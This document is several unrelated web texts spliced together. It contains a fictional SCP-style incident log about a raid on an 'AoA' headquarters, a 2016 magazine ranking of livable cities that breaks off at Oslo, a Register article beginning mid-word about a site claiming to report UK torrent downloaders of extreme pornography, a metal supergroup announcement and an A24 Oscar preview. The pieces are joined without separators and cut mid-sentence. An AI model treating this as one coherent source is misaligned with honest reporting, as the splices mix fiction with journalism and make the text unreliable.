11/6/2017: Interrogation determines that for the past thirty years the AoA had infiltrated various paratechnology firms, along with the murders of multiple Maxwellists. This was for the purpose of both acquiring the highly secret components for their device and to salvage Maxwellist cybernetic implants to build a telepathic network. Combined, these two elements theoretically would have let them achieve their goal of "concept providence" although information on this process has not been revealed by those in custody. The location of the AoA headquarters is also determined, along with specifics into the recovered conceptual device.
11/7/2017: UIU agents break into the AoA headquarters, located on the corner of Avan St. and 7th St., Lime District. A single AoA member shoots at agents, and is quickly incapacitated when shot in the left leg. All eight members present surrender and are arrested, and the building is placed under UIU control for investigation. Multiple handheld conceptual devices have been found, along with several large ones in the basement.
11/9/2017: Interrogation of AoA members has revealed that the shark was an experiment performed by the group to radically modify an entity's conceptual properties, with the intent of future use on humans. Following the experiment's success the entity was released, as the AoA lacked long-term storage methods for it. The aquarium break in was spurred by fears that the UIU would learn how the shark conceptually functions and how to edit conceptual properties, which would hinder future AoA efforts.
Additional interrogation suggests that other AoA facilities exist within the Three Portlands. Investigation into this has been started.The 10 Best Cities to Live In (2016)
In establishing our 2016 ranking of most livable cities, we focused on the concerns at Metropolis’s core—housing, transportation, sustainability, & culture.
Facebook 0
Twitter
More 0
Copenhagen: Metropolis‘s top livable city of 2016.
Courtesy Anne Mie Dreves
In establishing our 2016 city rankings, we focused on the concerns at Metropolis’s core—housing, transportation, sustainability, and culture. Working from an initial list of 65 cities nominated by our editors, we conducted in-depth research and comparative analysis according to these criteria, narrowing our list to 25 and eventually 10.
Though our overall judging process took into account many different metrics, from housing rents and commute times to artist subsidies and green space, our local correspondents have chosen to spotlight a few areas in which their cities are doing well, along with the potential challenges that still lie ahead for them.
Copenhagen
Berlin
Helsinki
Singapore
Vienna
Tokyo
Oslo
Melbourne
Toronto
Portland
#1 City to Live In
Copenhagen
Designed by Dissing+Weitling, the Cykelslangen is a 771-foot-long elevated bikeway that snakes past the Fisketorvet Mall and connects a highway to the Bryggebroen, a bridge that spans the harbor. A hit with locals, it has become a vital piece of infrastructure, cutting commute times drastically.
Images Courtesy Anne Mie Dreves
New York and many other city-rankings regulars have been Copenhagen-ized, with smart streets, bike lanes, and small public space projects—not to mention the culinary vogue for ramps and the new Nordic kitchen. But how is Copenhagen itself staying on top of its game?
Bicycle infrastructure is a big priority. For the average Dane, cycling is not a display of athleticism but a part of everyday life. Today almost 45 percent of Copenhagen’s population commutes by bike, a result of efforts on the part of the city to enhance infrastructure through the Bicycle Strategy 2011–2025.
One component of the strategy, which was developed by the city’s traffic department to make Copenhagen “the world’s best bicycle city,” is the Cykelslangen, or Bicycle Snake, completed in 2014. A photogenic orange ramp, it has become a media darling and serves Copenhagen commuters quite well, reducing the commuting time for many by half an hour. Winding its way between some big office and retail blocks at the water’s edge and across a jumble of stairs, the Cykelslangen connects to the Bryggebroen, a bridge dedicated solely to cyclists and pedestrians that spans the Copenhagen harbor. These two pieces of bicycle infrastructure link to a greater network of Cycle Superhighways. “Research shows that Danes are becoming increasingly unhealthy, due to passive modes of transportation,” declared Tine Brandt-Nielsen, project manager of the Cycle Superhighways, at the Danish Folkemødet earlier this year. “At the same time we know that 68 percent of the population in Greater Copenhagen would like greater investments in bicycle infrastructure.” Rolled out in 2012, 26 Cycle Superhighways are now under construction.
In Denmark, legislation mandates public access to the entire coastline. The Cykelslangen can get you to the water, but it’s Copenhagen’s new Harbor Ring that takes you around the city’s waterfront. Inaugurated in May, the Harbor Ring is an 8-mile circuit of pedestrian and bicycle paths encircling Copenhagen’s inner harborscape. It intersects with the Cykelslangen and includes the Bryggebroen; the very poetic Cirkelbroen (Circle Bridge) by world-renowned artist Olafur Eliasson, which emulates the masts and rigging of a sailboat; and the Inner Harbor Bridges, including the so-called Kissing Bridge, which now finally connects—after some technical challenges—Copenhagen’s iconic tourist destination of Nyhavn with the über-trendy Paper Island, the go-to place for street food.
Artist Olafur Eliasson was inspired by the fishing boats of his childhood when he designed the Cirkelbroen bridge. Connecting the Christiansbro neighborhood to Appleby’s Square, the bridge consists of five merged circular platforms, and is part of a larger ring of roads and bridges that allows Copenhageners to bike or walk all around the harbor area.
But perhaps more importantly, the common citizen now has the opportunity to take wonderful strolls around the harbor’s edge, threading through the city’s hot spots; former pockets of tranquility, such as the Library Garden, which is currently under siege by Pokémon Go players; and other charming, lesser-known places best left off the record.
The strolls are also a reminder, if one were needed, of the fact that Copenhagen is a coastal city. While waterfront access is now an uncontested amenity, extreme weather in the form of storms, excessive downpours, and cloudbursts is proving to be an increasing challenge. The most extreme to date was the record-breaking cloudburst that struck Copenhagen on July 2, 2011, wreaking widespread havoc and causing 6 billion Danish kroner (approximately 1.4 billion USD) in damage. The eventful Saturday night prompted a greater awareness of the need for climate action. In 2012, Lord Mayor Frank Jensen and mayor of technical and environmental administration Ayfer Baykal laid out the CPH 2025 Climate Plan, whereby Copenhagen aims to be the world’s first carbon-neutral capital.
An important aspect of the plan is the creation of so-called climate districts, which include new public spaces in the form of parks and plazas that double as swells, basins, and runoffs for large amounts of water. The Sankt Kjelds district in the residential neighborhood of Østerbro is the first such prototype, with more projects in the pipeline. “The climate district projects show how, in one fell swoop, we can create beautiful, green streets and urban spaces,” says Copenhagen’s city architect Tina Saaby, “at the same time creating an effective technical solution to channel rainwater away from our streets and out to the harbor, instead of down into our basements. This is architecture that integrates the technical and the aesthetic in a totally new and very exciting way.”
All three of Copenhagen’s high priorities—enhancing transit infrastructure, improving public amenities, and building urban resilience—come together in two new public spaces in the center of the city. Sankt Annæ Place, once merely a formal green space in a very formal part of town, has been reconfigured as a rainwater swell and wateruptake basin. It keeps up well-ordered appearances while adding much-needed strategies for climate events. Next to it is Ophelia Beach, which served ferries and cruise ships in its previous incarnation as the Kvæsthusbroen Pier and is now a huge public plaza in the inner harbor.
“The Ophelia Beach project embodies a nice combination of architectonic simplicity and robust urban space on Copenhagen’s harbor front,” says Mette Lis Andersen, chairwoman of the Royal Danish Academy of Fine Arts, Schools of Architecture, Design, and Conservation, and former administrative director of Realdania, an early investor in the project. A three-story parking lot extends below the development, which was funded through a public-private partnership.
Ophelia Beach is a very prominent example of how Copenhagen has turned its docklands into accessible, sustainable public amenities—the kinds of spaces people will want to bike to. The concrete urban beach juts out into the water, allowing visitors to look almost directly into the Amalienborg Palace on one side and the opera house on the other. At its very end, it ramps gently down into the harbor, affording Copenhageners the rare urban luxury of getting off their bikes and dipping their feet in the water. —Regitze Marianne Hess
This biking route through the Nørrebroparken is a result of efforts by the Danish capital to promote healthy, sustainable transit.
The area around the Royal Danish Playhouse is the site of Copenhagen’s most recent urban experiment. Bikers can make their way onto the concrete pier, which circles around the Playhouse and onto the water, running past a number of small public spaces.
At the end of the pier is Ophelia Beach, a temporary project that is being converted into a permanent feature by architects Lundgaard & Tranberg. The area has become a popular spot to look out over the harbor or walk down right to the water’s edge.
#2 City to Live In
Berlin
Designed by architect Julian Breinersdorfer, the 107,639-square-foot Factory Berlin houses Twitter Germany, local powerhouse Sound Cloud, and other Berlin-based start-ups.
Courtesy Werner Hutmacher
Berlin, once dubbed the metropolis “condemned forever to becoming and never to being,” is yet again in flux as it absorbs new demographics: nomadic tech start-up workers, young creatives in search of affordable studios, and refugees seeking new lives.
In August 2014, the German government unveiled an ambitious three-year agenda that placed digital growth at its forefront. In Berlin, this has manifested itself in support for start-ups and digital infrastructure, exemplified by a citywide network of 100 public Wi-Fi hot spots— coverage even extends to the Tiergarten and Gleisdreieck parks—which has been partially operational since June.
The city’s architecture is also beginning to reflect these changes, according to Berlin-based architect Julian Breinersdorfer, whose Google-funded Factory Berlin is the mother of all coworking spaces. Tech royalty such as Twitter, SoundCloud, and Uber have set up shop in the converted brewery, where exposed brick walls frame open offices, cafés, lounge areas, and outdoor plazas. “Clients building for the tech industry are more open-minded toward radical ideas than standard real estate developers,” he argues. “The industry’s focus on collaboration and flexibility enabled us to work out a very open plan.”
This repurposed, multifunctional architecture is emerging as an important typology beyond Berlin’s tech world, and one key example is the proposed Haus der Statistik—the sociocultural yin to the Google Factory Berlin’s economic yang. Put forward by an independent coalition of artistic and social organizations, the Alliance of Endangered Berlin Studio Buildings (AbBA), it seeks to convert a 430,556-square-foot former GDR-government facility into a housing complex for refugees and creatives, a stone’s throw from Alexanderplatz. Already, the plan has won private funding and support from prominent Berliners, including district mayor Christian Hanke. Markus Bader of raumlabor architects, which has been working on the design, says the project “would be an amazing step forward in the perception of what independent actors can achieve. We have accumulated the knowledge, network, energy, and financial and political support for the project to successfully do this big thing.”
In this way, Haus der Statistik is something of a barometer for Berlin’s future. With the disappearance of an estimated 600 artist studios in the past two years alone, the AbBA initiative is a response to genuine needs within the city’s creative community (not to mention for those seeking asylum). As Bader puts it: “Without being whiny, Berlin is becoming like a normal city. It used to be a special city.”
If recent legislation is anything to go by, there is reason to be optimistic. A new law restricting the rental of whole apartments via Airbnb—the catchily titled Zweckentfremdungsverbot—went into effect in May. Following the imposition of citywide rent controls in June 2015, it is the latest attempt to curb rental costs, which rose 56 percent from 2009 to 2014. Further progress is being made by alternative housing models such as cooperatives and the Baugruppen (cohousing)—residentrun building groups designed to bypass developers—which are creating affordable and autonomous communities outside the for-profit private sector.
It is these initiatives that are most vital in Berlin today. As London’s status as Europe’s cultural capital is called into question following the Brexit referendum, Berlin’s stellar pedigree of arts events such as CTM, transmediale, and the Berlin Biennale is taking on greater significance—and the spaces required to host them are becoming increasingly crucial. If these new developments can cater to and integrate the wide range of newcomers to the German capital, it will resist the stasis and divisions that plague its European counterparts. —George Kafka
A diagram of the Haus der Statistik project emphasizes its social connection to its surroundings.
Courtesy Haus der Statistik
In terms of housing, projects like the Co-op Housing at the Spreefeld in Kreuzberg are being celebrated for their progressive development model.
Courtesy Andrea Kroth
#3 City to Live In
Helsinki
Löyly public sauna, which opened in May, exemplifies a new kind of urban thinking. Designed by Avanto Architects, the project employs eco-friendly wood panels on its exterior.
Images courtesy kuvio.com
Given the presence of Arabia, Artek, and Iittala products in nearly every Finnish home, it isn’t surprising that design has been embraced at the city scale to improve Helsinki. Although relatively small for a capital, Helsinki has long ranked highly for livability thanks to its top-tier education, public transportation, safety, and proximity to nature. But according to its first chief design officer, the newly appointed Anne Stenros, an old Finnish idea is experiencing a resurgence in the city. “Talkoot is a very traditional concept in Finland. It’s the idea that if something has to be done, let’s do it together,” says Stenros. “These ideas from old village life are coming back. Talkoot isn’t about grand gestures, but about humanizing cities on any scale.”
Stenros suspects that talkoot’s reemergence in Helsinki is linked to increased interest in the sharing economy, particularly among the city’s creatives. Free-to-use sewing machines and 3D printers now appear in libraries; locally organized block parties take over in the summer; and Restaurant Day, founded in 2011 to allow anyone to open a food pop-up, is more popular than ever. Larger projects also reflect talkoot in their efforts to humanize the city. Following community-design consultations last year, Vallisaari and Kuninkaansaari, former military islands hitherto off limits to the public, recently opened to considerable acclaim as a public space and nature reserve. Another new amenity, the Löyly public sauna, which combines a sauna with generous public spaces, has its roots in Helsinki’s year as World Design Capital in 2012. “[WDC] showed us that Helsinki was open to new kinds of experiments,” says Stenros. “For me, the top deck at Löyly is the best place in Helsinki right now because it provides a new perspective on the city.”
As 2017 marks the 100th anniversary of Finland’s independence, and forecasts project for Helsinki a dramatic population increase to two million people by 2050, a lot of current construction looks to the future. Near the central railway station, foundations have been poured for a grand public library, set to open in 2018. An extension to the metro network, connecting the city center to Aalto University, will be operational by year-end, and plans are afoot to encourage the end of private car ownership by 2025; Helsinki is nothing if not ambitious. Of course, those ambitions occasionally lead the city to stumble: Its much-lauded on-demand bus service Kutsuplus, launched in 2013, was canceled at the end of last year because of limited funding.
But perhaps the main goal is residential housing. While other capitals struggle with rising housing costs, Helsinki is undertaking large-scale building to contain upward price trends for current and future residents. The city’s stated ambition is to provide a minimum of 6,000 new residential units per year. “There is a big transformation taking place in Helsinki,” says Veera Mustonen, head of Smart Kalasatama, a “smart city” housing development of 2,000 inhabitants northeast of the city center. “One driver is that it’s a very fast-growing city, but another is that the current generation of decision makers, designers, and planners is changing and looking for ways to make the city livelier, and also to give more space to new ideas for better living alongside opportunities for new business development.”
Stenros is eager to encourage such developments. “The city is increasingly emerging as a platform where one can create innovation,” she says. “Young people used to want to work for big Finnish corporations, but a recent survey showed that the city itself is now one of the most desirable employers. That says something very interesting about how people today see Helsinki.” —Crystal Bennes
#4 City to Live In
Singapore
Singapore’s $4.5 million BCA SkyLab is the world’s first rotatable laboratory for the tropics. Inside, the facility is split into two rooms: a reference space and a test cell. These configurable compartments allow for the study of sustainable building technologies like sun-shading, ventilation, and LEDs.
Courtesy Kua Chee Siong/The Straits Times
Singapore, an economic boomtown, ranks prominently on many a list of the world’s richest countries year after year. Yet, for all its abundance, it is still largely a dependent city-state. With scarce land and resources, Singapore imports just about everything—from food and water to energy. Partly because of this, the Lion City is becoming a leading exporter of sustainability solutions.
In 2009, Singapore embarked on an ambitious plan to address many of its constraints. The Sustainable Singapore Blueprint set forth urban policy goals, including water-recycling initiatives to reduce reliance on neighboring Malaysia, where Singapore sources almost half its water supply. It also promoted energy efficiency targets, such as greening 80 percent of the city’s building stock by 2030. With 31 percent of buildings Green Mark certified as of this year, Dr. John Keung, chief executive officer of Singapore’s Building and Construction Authority (BCA), believes they are on target to meet this goal. Unlike the U.S. Green Building Council’s voluntary LEED program, BCA’s Green Mark “requires all new constructions to be built to a certain standard or they won’t be approved for required licenses,” he says. “Existing structures will also have to go forward for certification when they eventually replace things like their cooling systems.” Yearly submission of energy consumption information to the BCA is also mandatory.
Collection of data like this has positioned Singapore as a living laboratory. And through public–private partnerships, the government continues to develop smart-city solutions via innovative projects like the newly opened BCA SkyLab. Launched in collaboration with California’s Lawrence Berkeley National Laboratory, this rooftop research facility simulates real-world building conditions and runs energy performance experiments to further improve sustainable design. “We’re a global leader in green buildings in the subtropics,” says Dr. Keung. “The lab will help us to further study how green buildings can be achieved, and then we can share our sustainability knowledge with regional countries.”
Singapore’s open data portal is another data analytics tool the government is banking on to study and test urban solutions. Anyone can log on to the online database and download real-time information on things like electricity consumption, traffic congestion, and education from 70 public agencies. Part of the goal is to inspire citizens to actively seek solutions to improve their own lives. More than 100 apps have been created, including personalized map planners that encourage more public transport use and trackers to reduce cigarette-butt litter, since the web repository became available five years ago. But, with a shortage of STEM talent, the city has cast its net beyond its tiny borders. This year, Smart Nation Fellowship was launched to encourage regional and international scientists, developers, and coders to spend up to six months working alongside the government on tangible solutions to pressing public-sector issues.
So far, it appears Singapore’s many sustainable initiatives are working. Smart-city pilot programs like Punggol Eco-Town have sprung up, car-lite initiatives have reduced Singapore’s carbon footprint, and more than 62 miles of bike paths have been built to encourage alternative modes of transport. “We see vast opportunities to use technologies to improve the way we plan and manage the city,” says Lim Eng Hwee, chief planner and deputy chief executive officer of the Urban Redevelopment Authority. “We believe the efforts in this area are important to build a future city with an even better quality of life, which is ultimately what being a Smart Nation is all about.” —Tamy Cozier-Charles
CapitaGreen, designed by Pritzker Prize–winning architect Toyo Ito, is the new standard for the city’s building stock.
Courtesy CapitaGreen
The building features several environmentally friendly systems, including a red-and-white wind funnel that directs air into the building’s core to cool offices.
#5 City to Live In
Vienna
Courtesy Vienna Biennale
Vienna is designed for equality. Social design plays a huge role in the city’s planning and development—and always has. “That is a long tradition, going back to the Red Vienna period,” says Thomas Geisler, one of the founders of the city’s annual design week, and now the director of the Werkraum Bregenzerwald. “Basically, it is a very socially driven government, as it has always been.”
“Red Vienna” was the nickname of Austria’s capital from 1918 to 1934, when the Social Democrats governed the city for the first time after the collapse of the monarchy. Alleviating the housing shortage and improving the living conditions of the working-class population were the central concerns of urban policy then.
Those concerns, it would seem, have made a comeback thanks to new geopolitical pressures on the city. Current and future creative initiatives in Vienna are focused on pressing social challenges, such as the refugee crisis, high-quality social housing, sustainability, mobility, and smart urban projects for a growing and diverse population—all based, in the social democratic tradition, on open dialogue and collaboration with citizens.
The refugee crisis has been a major focus for designers and architects in the past two years. A case in point is the Austrian contribution to the 2016 Venice Architecture Biennale: a socialhousing project to accommodate the influx of asylum seekers in the city. Titled Places for People, the exhibition displays photographs and plans of three ongoing interventions, which adapt vacant buildings to temporarily house people while their asylum claims are processed. It is the result of a collaboration among architecture and design offices Caramel Architekten, EOOS, and the next ENTERprise; nonprofits; and the refugees themselves.
Meanwhile, the largest and most ambitious urban-planning project in Europe, the urban lakeside development aspern, is under way, driven by the city in a joint effort with architects, designers, and citizens. Together they are developing a model for the smart city of the future, encompassing technological infrastructure while also promoting a new urban-planning system called Baugruppen housing initiatives. Five such collective projects are already being designed and built by different groups of people, taking their individual lifestyles into consideration.
One initiative, a project called Que[e] rbau, focuses on the LGBTQ community. Its ideal living space has an openness toward queer lifestyles and alternative family forms, the ability to plan apartments individually, a focus on common spaces in the building, and a large garden.
Throughout aspern, great importance is attached to gender equality, along with sustainability, green spaces, and mobility. Even the streets in this futuristic smart city will mostly be named after remarkable women in history—the district council has approved an all-female list for one part of the development, and citizens are engaged in the process of selecting more names.
The concern with gender runs across every scale of design in Vienna, Geisler says: “We just take it for granted. There is a strong contribution from female architects and urbanists planning the city.”
If Vienna can hold on to these enlightened ideals through the refugee crisis, extending the same courtesies to its new citizens that it has to other communities throughout its history, it will remain one of the world’s best cities to live in. —Aline Lara Rezende
To give 820 residents some privacy in a refugee shelter set up in a 1970s office building, Caramel Architekten developed Home Made, a simple low-cost kit of a parasol, textile panels, and cable ties. Similar elements were later used for the communal areas of the shelter.
Courtesy Paul Kranzier
A digital projection during Elma R, the Vienna Media Art Festival, held in aspern in October 2015.
Courtesy Elisabeth Stöckl
#6 City to Live In
Tokyo
In an attempt to tackle Tokyo’s problem of a lack of burial space, Rurikoin Byakurengedo, a Buddhist temple, opened in neon-lit Shinjuku in 2014.
Images courtesy Yoshio Shiratori
Tokyo: The statistics are as dizzying as its cloud-brushing towers. The Japanese city is home to 13 million residents, 40 million daily commuters, 139 skyscrapers, 216 Michelin-starred restaurants—and an evershifting skyline that changes with high-speed regularity.
The city has long been known as one of the largest and most densely packed on the planet, with an urban patchwork of distinctive neighborhoods, from teen fashion mecca Harajuku and the upmarket Ginza to electronics hub Akihabara. It also excels at mixing the futuristic with the traditional, as Kengo Kuma, the architect behind the 2020 Tokyo Olympic Stadium, explains: “What makes it unique is the clear contrast of townscape in Tokyo, where narrow passages among old wooden houses still exist along with big roads and buildings constructed in the 20th century.”
Not to forget how well it works. Despite its vastness, crime rates are low, the streets are clean, the trains are punctual, and the atmosphere is often surprisingly calm. In contrast to many Western cities, its architecture is also defined by a sense of disposability, a culturally ingrained legacy of Japan’s exposure to natural disasters and wartime destruction.
“Traditionally buildings are not seen as permanent structures in Japan,” says Mark Dytham, of Tokyo-based Klein Dytham Architecture. “In the past, all buildings were made of wood and tended to burn down, rot, or be destroyed by typhoons or earthquakes—as opposed to in the West, where buildings are made of brick or stone and are built for 400 years.”
On a less positive note, the city often feels more like jigsaw puzzle sprawl than a premeditated urban blueprint, with its disposable skyline resulting in an at-times jarring lack of architectural or aesthetic consistency among buildings (picture a neon-lit 7-Eleven, an old wooden shrine, a glass skyscraper, and a dated 1980s apartment block sitting in a row). Navigating the public transport network can also be a daunting task for those not familiar with the city.
And then there is the issue of overhead cables: Despite Tokyo’s reputation for being futuristic and progressive, a quick skyward glance reveals how the vast majority of the city’s power cables still lie in messy tangles above the streets, with critics regularly condemning them as unsightly.
Demographics are also a concern. Its rapidly aging population and declining birthrate are growing issues for politicians and architects alike. Sugamo—a neighborhood often dubbed Harajuku for old ladies—provides an innovative urban template for a “silver” population, from the widened wheelchair-friendly pavements to the green man flashing for longer periods at traffic lights.
There is a countdown under way, however, for an upcoming event that Tokyoites hope will give the city a major boost—the 2020 Olympics. A raft of major regeneration projects, shiny new developments, hotels, and infrastructure upgrades (including plans to move at least some of those overhead power cables underground) are in the works. New constructions include the Shinbashi No. 29 Mori Building, a 15-story multiuse retail and office space in Shinbashi, a prime redevelopment area for the Olympics. This project, to be completed in 2018, will be linked via the newly upgraded street Shintora-Dori—dubbed Tokyo’s Champs-Élysées—to the Olympic Village and Stadium.
So how will Tokyo look in 2020? According to Kuma, there will be a shift from “a city of highways and shinkansens,” as was the case during the high-economic growth era of the 1964 Games, toward something more grounded: “a humanfriendly, walkable town.” —Danielle Demetriou
The architecture, by Kiyoshi Sey Takeyama of Amorphe, is clean-lined, minimal, and unabashedly contemporary with a futuristic edge—complete with high-tech basement vaults able to accommodate the cremated remains of 7,000.
#7 City to Live In
Oslo
Built on piles in the Oslofjord, the Oslo |
y-turvy argument on its homepage states:
We believe that the law should be enforced; not doing so breeds laziness and impreciseness in the legislature, lack of inspection of the law outside of the legislature, increased power of the executive due to selective enforcement and permits many people guilty - of a crime, if nothing else - to get away Scot-free … This is bad for everyone.
Some more explanation of what it plans to do is contained a little further into the site. They claim that they will primarily categorise and monitor torrents. Once a torrent has been added to their system, they will periodically poll the tracker for peer IPs and then use GeoIP technology to identify UK-based IPs. Where a match is found, the system will, in principle, email the abuse contact for that IP.
(This is where extremeporn’s claims become a little vague: they seem to be agreeing, however, that there are practical issues with this stage of the process.)
Despite this, they claim already to have filed more abuse reports than the Government planned to prosecute in an entire year.
So what is going on? Is this spoof or net vigilantism? A quick trace suggests that the domain name is registered to an individual going by the name of Adam Gleave. This may or may not be accurate.
In a further email sent to El Reg this afternoon, the site owner confessed that although the overall aim sounded a little grandiose, the project currently consists of "little more than 255 lines of Python code, a hastily assembled website, and a few, loose-knit members".
They add: "The government would have have spent at least £1 million to have achieved a similar feat, though."
Nonetheless, they do appear to be serious in their intent to out individuals caught downloading potentially illegal torrent content, arguing that they would only need a positive response from a very small proportion of ISPs for this action to have a significant effect.
Ambivalence as to their eventual aims is given by their suggestion that they would be willing to discuss ways in which people can evade our and others detection and censorship attempts on the internet, and censorship and policing attempts of the internet in general.
Technical experts have suggested that the process described by extremeporn is feasible, especially if supported by the Police, but they expressed some scepticism that it would work very well.
Beyond that, the site’s selection of stories and imagery to make its points are slightly more suggestive of an organisation that dislikes the government’s world view than one that buys into it. A link for "watchful eyes" takes readers to a disturbingly Orwellian poster produced by Transport for London, whilst a second link to an internet competency centre links to what appears to be a rather portly (and possibly German) euro-cop staring at his laptop.
There is also a fairly telling link to a story about an individual killed as a result of vigilantism. Ultimate irony or sharp political point?
The argument put forward by extremeporn to justify their actions is subtle, but probably more anti-censorship than first appears. Critics of the new law have argued that it is little more than a figleaf, and that the last thing government wishes to happen is for anyone to take it seriously. They’ve ticked the extreme porn box and can now concentrate on important things – like prostitution.
The authorities have traditionally been a little sniffy when it comes to freelance efforts and satirical websites. One only has to look at the Met’s reaction to thinkofthechildren – or the wider condemnation of possible freelance action to take down al-Qaeda websites from the US – to realise that independent action is not welcome.
So no surprise that we have had no comment from the IWF (a slight degree of jealousy, perhaps, that extremeporn appear to be venturing into territory they themselves cannot?) and from ACPO a fairly bland assurance that "the police service will use this new legislation as part of the toolkit that police officers have to combat pornographic crime. Wherever we encounter possession of extreme pornographic material we will investigate it further and take the necessary action.
"If there is a member of the public who is concerned that they have an illegal image in their possession, they should seek legal advice," the ACPO concludes.
Although if this site is genuine, it could be that the police will already have their hands full. ®Supergroup: Foo Fighters, Slipknot, Clutch, Lamb of God & More Join Forces on Teenage Time Killer
Oh, you thought Dave Grohl was taking a day off? Fuck no. He’s about to feature on a star-studded new album coming out from Rise Records, in a project called Teenage Time Killer.
Featuring Corey Taylor of Slipknot, Neil Fallon of Clutch, Aaron Beam of Red Fang, Nick Oliveri, Randy Blythe from Lamb of God and oh so many others, Teenage Time Killer is a supergroup of utter killers from the metal and hardcore scenes.
The instrumental parts for the upcoming album were recorded at Dave Grohl’s famed Studio 606 in Northridge, California on the famous Neve mixing board, which was the central focus of Grohl’s acclaimed “Sound City: Real To Reel” documentary.
Teenage Time Killer will feature contributions from the following musicians, among others:
* Randy Blythe (LAMB OF GOD)
* Dave Grohl (FOO FIGHTERS)
* Corey Taylor (SLIPKNOT, STONE SOUR)
* Neil Fallon (CLUTCH)
* Jello Biafra (DEAD KENNEDYS)
* Lee Ving (FEAR)
* Tommy Victor (PRONG)
* Nick Oliveri (MONDO GENERATOR, ex-QUEENS OF THE STONE AGE, KYUSS)
* Aaron Beam (RED FANG)
* Pete Stahl (SCREAM, GOATSNAKE)
* Greg Anderson (SUNN O)))), GOATSNAKE)
* Karl Agell (ex-CORROSION OF CONFORMITY)
* Tairrie B. Murphy (MY RUIN)
* Mick Murphy (MY RUIN)
* Vic Bondi (ARTICLES OF FAITH)
* Clifford Dinsmore (BL’AST!)
* Pat Hoed (BRUJERIA)
* Tony Foresta (MUNICIPAL WASTE, IRON REAGAN)
* Doyle Wolfgang Von Frankenstein (MISFITS)
* Keith Morris (BLACK FLAG)
* Phil Rind (SACRED REICH)
As for touring, Corrosion Of Conformity vocalist/drummer Reed Mullin told INDY Week: “Touring, I don’t know. Dave Grohl’s folks, his management and marketing people, are going to help us do all that with the thing. We recorded about 98 percent of it at his studio. They were talking about — since there’s so many people from so many different bands — maybe do something like ‘Kimmel’ and have three or four different singers come out at one time, like Jello and Lee Ving, maybe Randy from Lamb of God, something like that. All the songs are real short, so we could do, easily, four songs and not go over. But you know, we’d have Brian Baker come out and play guitar, Pat Smear play bass or guitar or whatever. It’s pretty star-studded.”
We’re in.A24 is no slouch when it comes to the Oscar race -- they backed last year's "Moonlight" and have an impressive set of new movies this fall.
After last year’s three-Oscar haul for “Moonlight,” including Best Picture, A24 wants to prove that was no anomaly. Here’s what the rising young distributor will push this awards season. (Remember: A year ago, “Moonlight” wasn’t viewed as a likely Best Picture contender — much less the big winner.)
David Fisher/REX/Shutterstock
Co-founded by David Fenkel, John Hodges, and Daniel Katz, A24 is known for edgy arthouse pleasers that eschew conventional storytelling. “Moonlight” was the company’s first original production; its other box office players include Oscar-winners “Ex Machina,” “Room,” and “Amy,” and smart horror flick “The Witch.” But none have passed the $27 million box office earned by “Moonlight.”
After the fall trifecta of Venice, Telluride and Toronto, the company has three bonafide awards contenders: SXSW’s well-reviewed true story “The Disaster Artist” (December 1), director James Franco’s 14th movie; Sean Baker’s “The Florida Project,” which premiered at Cannes; and a pickup from producer Scott Rudin, Greta Gerwig’s directing debut “Lady Bird” (November 10), a mother-daughter dramedy starring Saoirse Ronan and Laurie Metcalf.
Less likely are Yorgos Lanthimos’ mordant satire “The Killing of a Sacred Deer” (November 3) starring Cannes special award-winner Nicole Kidman and Colin Farrell, and the Safdie brothers’ gritty crime caper “Good Time” ($1.9 million domestic) — although there’s talk of Robert Pattinson as an acting breakthrough.
Best Picture contenders: “The Florida Project” and “Lady Bird”
Both are critically hailed, small-scale movies that will play best for the Academy’s largest branch: actors. To break out of the Indie Spirit ghetto, they will require not only special handling but also luck with the box-office gods and weak Oscar rivals. Both are well-liked, popular entries and A24 can easily (with boosts from Lisa Taback and Cynthia Swartz’s PR teams) get people to see them. But they will need to work at the box office, too.
Much like Benh Zeitlin’s “Beasts of the Southern Wild,” “The Florida Project” could ride strong Cannes buzz and the fall festival circuit to major nominations: “Beasts” landed Best Picture, Writer, Director, and Actress Quvenzhane Wallis — a precursor to “Florida Project” star Brooklynn Prince, a 6-year-old diminutive breakout. Baker’s slice of life along Orlando’s budget motels relies on twice-nominated Willem Dafoe (“Platoon,” “Shadow of the Vampire”), who is overdue for more awards recognition. His humane and paternal motel owner is the closest thing to a father figure and civilizing force these marginal characters will ever know.
But while Baker assembled an expertly orchestrated mix of professionals and Florida locals to create a believable milieu that is authentic, heartbreaking, and also full of joy, the movie lacks snob appeal. Some viewers are turned off by these often-angry and unappealing characters. Critics will chime in, and A24 is a wily marketer, but this movie may wind up more Indie Spirit than Oscar fodder.
Even people who like “Lady Bird” point out that it’s a small coming-of-age movie in an all-too-familiar high school setting. Never mind that: The reason this will go far is people can’t stop talking about it. Gerwig has prepared herself for years, moving from theater maven and actress and constant writer to full-fledged collaborator with Joe Swanberg (“Hannah Takes the Stairs”) and her partner Noah Baumbach (“Frances Ha” and “Mistress America”) to solo filmmaker. She shone in Rebecca Miller’s feminist romantic triangle comedy “Maggie’s Plan,” and nabbed some confidence from Miller to go forward with her own project, set in California state capitol Sacramento during her character Christine’s senior year.
“Lady Bird” played well in Telluride and Toronto, and will continue to resonate in the culture as the ultimate mother-daughter love story; Metcalf nails this angry, frustrated, loving mother who cannot help returning to old arguments. But this is also a movie, like Best Picture contender “Boyhood,” with lasting and universal appeal.
Best Actor: James Franco
He’s a long shot with his oddly moving performance as Tommy Wiseau, the mysterious writer-director-actor with an indeterminate foreign accent who financed and starred in 2003 indie flick “The Room.” In “The Disaster Artist,” Franco recreates the making of that unlikely cult phenomenon, costarring his brother Dave Franco and his producer Seth Rogen. The movie conjures what it’s like to be anxious about exposing yourself as an artist, and Academy members will relate — as they laugh their heads off.
Best Actress: Saoirse Ronan
Even in a competitive year, she has a strong shot. She channels a version of Gerwig as a feisty 1993 theater maven in a Sacramento Catholic high school who is dying to lose her virginity and go to college back East. Ronan has been nominated for “Atonement” and “Brooklyn” and is respected for her work in theater and film. It’s a moving, sexy, dramatic, and comedic performance that SAG, the Academy actors and year-end critics groups should all recognize.
A24
Best Supporting Actress: Laurie Metcalf and Brooklynn Prince
As Lady Bird’s angry, loving, judgmental nurse mother, who is nicer to everyone else than her own daughter, theater actress Metcalf is a pretty sure bet. Coming up on the outside is Brooklynn Prince. Her fate depends on how well “The Floria Project” plays going forward.
Best Director: Greta Gerwig
Assuming it takes off with critics, audiences, and guilds, she has a good shot with “Lady Bird.” (For a small-scale dramedy, everything has to go right.) Gerwig’s advantage: her popularity as an actress. (See: Robert Redford, Kevin Costner, Mel Gibson, Warren Beatty etc.) She is well known and people will root for her. Baker is less established outside of indie circles, and Franco is directing a raunchy comedy, which is a much harder road at the Oscars.
Best Screenplay: Scott Neustadter and Michael H. Weber; Greta Gerwig
